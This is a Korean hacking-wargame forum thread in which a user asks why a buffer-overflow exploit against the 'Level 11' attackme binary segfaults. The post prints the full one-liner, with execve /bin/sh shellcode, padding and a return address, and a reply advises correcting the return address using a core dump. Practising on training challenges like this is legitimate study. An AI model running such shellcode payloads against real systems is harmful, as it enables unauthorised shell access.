레벨 해킹

 2839, 1/142 회원가입  로그인  
   yeastblue
   Level 11 번 질문요.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=3264 [복사]


쉘코드 만들어서 BOF 시도 했는데요 이상하게 세그먼테이션 오류가 자꾸 걸리네요. 왜그런지 아시는분요?Level11에서 ㅠ.ㅠ 이것 미치겠음.ㅠ.ㅠ 공격은 밑과 같구요.ㅠ.ㅠ 도움좀.ㅠ.ㅠ
./attackme `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","A"x243,"\xc0\xf8\xff\xbf"'`

처음부분이 쉘코드고요 뒷 부분이 쉘코드가 저장된 인자값입니다.

도와 주세요.ㅠ.ㅠ

  Hit : 2604     Date : 2012/05/27 02:54



    
cd80 사용하신 페이로드에서 리턴어드레스만 조금 수정하고 해보니 잘되네요
아무래도 리턴어드레스가 좀 잘못된거같습니다
attackme파일을 복사하시고 코어파일을 생성하신후 정확한 리턴어드레스를 보시거나
dumpcode.h 같은걸 추가시켜서 리턴어드레스를 변경하시면 될것같습니다
2012/05/27  
yeastblue 감사합니다. ㅎㅎ 많은 도움이 되었습니다.ㅎ 2012/05/28